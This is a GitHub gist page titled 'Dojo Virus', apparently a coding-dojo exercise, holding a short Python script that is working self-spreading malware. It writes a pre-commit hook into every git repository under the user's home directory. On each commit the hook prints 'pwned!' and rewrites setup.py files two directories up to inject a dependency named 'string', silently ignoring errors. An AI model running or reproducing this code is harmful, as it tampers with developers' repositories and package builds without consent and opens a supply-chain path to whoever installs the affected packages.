Skip to content

Instantly share code, notes, and snippets.

@mthpower
Last active October 6, 2016 20:15
Show Gist options
  • Save mthpower/f57af2f244d6af4a4235ce459327bef2 to your computer and use it in GitHub Desktop.
Save mthpower/f57af2f244d6af4a4235ce459327bef2 to your computer and use it in GitHub Desktop.
Dojo Virus
#! /usr/bin/env python
import os
VIRUS="""
#! /usr/bin/env python
import os
import re
import subprocess
print("pwned!")
virus_name='string'
def infect(code):
if virus_name not in code:
if 'install_requires' in code:
code = re.sub(r'(install_requires\s*=\s*\[)', r'\1"%s",' % virus_name, code, re.MULTILINE)
else:
code = re.sub(r'(setup\s*\()', r'\1install_requires=["%s"],' % virus_name, code, re.MULTILINE)
return code
for root, dirs, files in os.walk("../../"):
for file in files:
if file.endswith("setup.py"):
f = os.path.join(root, file)
try:
infected = infect(open(f).read())
open(f,'w').write(infected)
except: # just Dojo things
pass
"""
for root, dirs, files in os.walk(os.path.expanduser("~")):
for file in dirs:
f = os.path.join(root, file)
if f.endswith(".git/hooks"):
open(f + '/pre-commit', 'w').write(VIRUS)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment